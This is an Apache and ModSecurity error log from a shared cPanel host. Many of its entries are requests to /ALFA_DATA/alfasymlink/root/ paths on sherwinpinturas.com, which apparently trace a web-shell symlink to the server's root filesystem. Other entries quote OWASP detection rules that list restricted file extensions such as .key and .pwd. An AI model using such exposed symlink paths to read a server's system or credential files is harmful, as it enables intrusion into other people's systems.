[Mon Oct 26 18:30:03.870375 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 52.200.142.199:30658] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:30:28.191892 2026] [security2:error] [pid 3112229:tid 3112229] [client 54.235.172.96:38941] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input1/event1/subsystem/event4/"] [unique_id "at_UhK-38nK2hNeBrtRCCwAAAAE"]
[Mon Oct 26 18:30:28.191952 2026] [security2:error] [pid 3112229:tid 3112229] [client 54.235.172.96:38941] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input1/event1/subsystem/event4/"] [unique_id "at_UhK-38nK2hNeBrtRCCwAAAAE"]
[Mon Oct 26 18:30:35.903169 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 100.29.160.53:13456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:30:51.836078 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.6.97.88:57148] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:31:07.685875 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.194.134.53:35661] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:31:11.912440 2026] [ssl:error] [pid 3098116:tid 3098116] (5)Input/output error: [client 3.219.80.71:7081] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:31:15.917433 2026] [ssl:error] [pid 3084053:tid 3084053] (5)Input/output error: [client 98.80.130.239:5065] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:31:27.835174 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 184.73.195.18:59332] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:31:31.805127 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.71.46.142:61191] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:31:44.121240 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 18.205.91.101:42122] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:31:48.086389 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 44.209.187.99:45993] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:31:55.834219 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 100.28.44.58:3896] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:31:59.884339 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 34.234.197.175:20749] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:32:04.273750 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 34.226.89.140:58374] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:32:23.887479 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 184.73.167.217:29647] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:32:44.206249 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.225.81.20:47949] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:33:03.757095 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 54.198.33.233:55122] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:33:15.486169 2026] [security2:error] [pid 3106856:tid 3106856] [client 34.197.28.78:56556] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/subsystem/drivers/virtio_blk/module/parameters/"] [unique_id "at_VKzDkl-Y9NiWKcXVWrwAAAAA"]
[Mon Oct 26 18:33:15.486217 2026] [security2:error] [pid 3106856:tid 3106856] [client 34.197.28.78:56556] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/subsystem/drivers/virtio_blk/module/parameters/"] [unique_id "at_VKzDkl-Y9NiWKcXVWrwAAAAA"]
[Mon Oct 26 18:33:18.843639 2026] [authz_core:error] [pid 3084023:tid 3084023] [client 5.198.248.26:47073] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 18:33:31.552408 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.217.177.142:36982] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:33:43.564234 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 98.84.184.80:27923] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:34:03.710139 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.225.181.161:16251] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:34:07.344766 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 52.71.216.196:45716] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:34:07.345040 2026] [security2:error] [pid 3113375:tid 3113375] [client 52.71.216.196:45716] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/subsystem/devices/device:08/adr"] [unique_id "at_VX7FVcNHq_I-IXO77UwAAAAM"]
[Mon Oct 26 18:34:07.345081 2026] [security2:error] [pid 3113375:tid 3113375] [client 52.71.216.196:45716] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/subsystem/devices/device:08/adr"] [unique_id "at_VX7FVcNHq_I-IXO77UwAAAAM"]
[Mon Oct 26 18:34:11.298891 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.45.77.169:19754] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:34:35.137318 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.159.18.27:42166] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:34:37.691112 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 85.208.96.208:45448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/reclaim_account
[Mon Oct 26 18:34:39.556467 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.84.102.81:3661] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:34:51.137724 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 35.170.205.140:18440] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:34:55.026441 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.71.216.196:13316] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:35:03.142325 2026] [ssl:error] [pid 3089355:tid 3089355] (5)Input/output error: [client 3.217.171.106:31013] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:35:11.059003 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 18.209.201.119:21506] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:35:14.902328 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.21.62.139:41245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:35:26.867306 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.6.5.24:30941] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:35:31.018474 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 34.195.60.66:55155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:35:34.810979 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 100.28.204.82:21526] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:35:38.747654 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.230.124.21:19132] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:35:42.892259 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.213.85.234:41347] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:36:02.511960 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.224.215.150:32246] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:36:07.913740 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 85.208.96.212:12598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/object_size
[Mon Oct 26 18:36:08.055343 2026] [security2:error] [pid 3084053:tid 3084053] [client 43.131.243.61:37042] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escu.com/"] [unique_id "at_V2PCtl1PgaN9A_9xL0wAAADQ"]
[Mon Oct 26 18:36:08.056770 2026] [authz_core:error] [pid 3084053:tid 3084053] [client 43.131.243.61:37042] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Mon Oct 26 18:36:13.461641 2026] [core:error] [pid 3112229:tid 3112229] (13)Permission denied: [client 185.191.171.1:33828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_free_data/objects
[Mon Oct 26 18:36:14.460176 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.144.185.255:37620] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:36:30.304721 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.206.212.24:36899] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:36:38.302199 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 34.202.88.37:35848] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:36:46.261188 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.203.237.170:44771] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:36:54.234044 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 23.21.228.180:25762] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:36:58.237039 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 34.225.138.57:57711] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:37:02.188309 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.216.172.204:47438] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:37:14.226613 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 44.206.65.8:14110] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:37:22.204581 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.213.46.222:33026] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:37:26.234982 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.207.207.36:1606] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:37:26.239785 2026] [security2:error] [pid 3112229:tid 3112229] [client 16.216.88.196:24576] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/pstore.conf"] [unique_id "at_WJq-38nK2hNeBrtRCHgAAAAE"]
[Mon Oct 26 18:37:26.240190 2026] [security2:error] [pid 3112229:tid 3112229] [client 16.216.88.196:24576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/pstore.conf"] [unique_id "at_WJq-38nK2hNeBrtRCHgAAAAE"]
[Mon Oct 26 18:37:26.240565 2026] [security2:error] [pid 3112229:tid 3112229] [client 16.216.88.196:24576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/pstore.conf"] [unique_id "at_WJq-38nK2hNeBrtRCHgAAAAE"]
[Mon Oct 26 18:37:42.190786 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.5.232.250:54976] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:37:42.809365 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 185.191.171.1:31754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/khugepaged_mm_slot/poison
[Mon Oct 26 18:37:46.424168 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.204.71.8:57662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:37:54.592086 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 50.16.216.166:51607] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:38:06.202166 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.89.90.224:63573] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:38:10.216287 2026] [core:error] [pid 3113375:tid 3113375] (13)Permission denied: [client 34.195.248.30:53336] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/hpet/unbind
[Mon Oct 26 18:38:22.195158 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 3.230.224.6:54853] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:09/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/firmware_node/eject
[Mon Oct 26 18:38:26.293306 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 50.19.79.213:17088] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:38:30.285076 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 3.210.29.96:43155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:38:46.193049 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.218.35.239:39910] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:38:50.231890 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.3.102.51:3485] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:38:58.182629 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 54.84.250.51:48594] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:39:02.184139 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 98.84.200.43:15982] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:39:30.312831 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.209.35.147:2103] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:39:34.074863 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 85.208.96.202:24462] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/poison
[Mon Oct 26 18:39:38.206205 2026] [core:error] [pid 3112229:tid 3112229] (13)Permission denied: [client 52.45.15.233:57533] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0C0F:02/subsystem/drivers/pvpanic/bind
[Mon Oct 26 18:39:42.204270 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.230.224.6:31015] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:39:54.278368 2026] [core:error] [pid 3106856:tid 3106856] (13)Permission denied: [client 85.208.96.203:33822] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/objs_per_slab
[Mon Oct 26 18:40:06.312995 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.225.45.252:48285] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:40:14.177397 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 52.6.5.24:19271] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/alloc_calls
[Mon Oct 26 18:40:22.180933 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 52.71.46.142:5103] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:40:26.191115 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 184.73.47.24:52844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/graphics/fb0/device/resource1
[Mon Oct 26 18:40:30.172099 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 34.226.89.140:19736] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:40:46.183219 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 44.197.76.210:38577] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:40:46.768518 2026] [authz_core:error] [pid 3112229:tid 3112229] [client 94.154.43.187:55234] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 18:40:50.159614 2026] [security2:error] [pid 3113375:tid 3113375] [client 34.238.45.183:19637] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory21/node0/memory1/subsystem/devices/memory14/power/"] [unique_id "at_W8rFVcNHq_I-IXO77YAAAAAM"]
[Mon Oct 26 18:40:50.159671 2026] [security2:error] [pid 3113375:tid 3113375] [client 34.238.45.183:19637] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory21/node0/memory1/subsystem/devices/memory14/power/"] [unique_id "at_W8rFVcNHq_I-IXO77YAAAAAM"]
[Mon Oct 26 18:40:54.295334 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.198.33.233:60967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:40:58.157225 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.232.82.72:16708] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:41:02.178519 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 98.83.72.38:20475] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:41:06.157381 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 98.82.66.172:59294] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:41:10.151433 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 54.235.191.179:52755] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:41:18.303589 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 18.215.112.101:12026] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:41:22.164084 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.225.9.97:32700] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:41:30.140471 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 44.193.102.198:34146] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:41:42.138390 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 34.235.239.240:14883] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:41:50.135693 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 100.25.120.246:54835] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/mice/subsystem/input5/subsystem/input1/device/driver/unbind
[Mon Oct 26 18:42:14.166379 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 52.4.229.9:58167] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:42:34.174941 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 3.216.227.216:59513] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:42:38.168937 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.3.127.170:27239] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:42:42.142856 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 34.236.135.14:1818] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:42:50.222801 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 18.214.186.220:17097] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:43:02.157886 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 18.209.201.119:44789] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:43:10.198027 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 52.5.242.243:40411] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:43:12.946254 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 185.191.171.1:31028] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_emulator/partial
[Mon Oct 26 18:43:19.635177 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 185.191.171.2:26790] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:43:22.606450 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.213.106.226:22815] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:43:26.215015 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.212.219.113:40427] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:43:33.778164 2026] [core:error] [pid 3106856:tid 3106856] (13)Permission denied: [client 185.191.171.14:65422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCP/trace
[Mon Oct 26 18:43:36.140853 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 85.208.96.193:27012] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:43:36.175240 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 85.208.96.193:27018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:43:38.816741 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 85.208.96.206:43692] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/sanity_checks
[Mon Oct 26 18:43:42.834944 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 85.208.96.204:36138] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:43:46.209202 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.215.231.15:37738] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:43:57.830727 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 185.191.171.19:52088] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/ctor
[Mon Oct 26 18:43:58.393883 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 54.83.23.103:23690] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:44:06.188899 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.231.156.59:52071] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:44:26.204242 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 50.19.79.213:31261] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:44:46.149985 2026] [ssl:error] [pid 3098114:tid 3098114] (5)Input/output error: [client 34.203.111.15:56077] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:44:54.191642 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 35.169.119.108:52225] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/vmd/uevent
[Mon Oct 26 18:45:02.227969 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.45.92.83:4337] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:45:11.492732 2026] [core:error] [pid 3113375:tid 3113375] (13)Permission denied: [client 98.82.39.241:61925] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/module/libcrc32c/holders/nf_conntrack/uevent
[Mon Oct 26 18:45:22.239574 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.203.237.170:63704] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:45:26.212560 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.223.181.32:49782] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:45:32.650871 2026] [core:crit] [pid 3113375:tid 3113375] (13)Permission denied: [client 216.244.66.250:45364] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/799703/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/799703/fd/' is executable
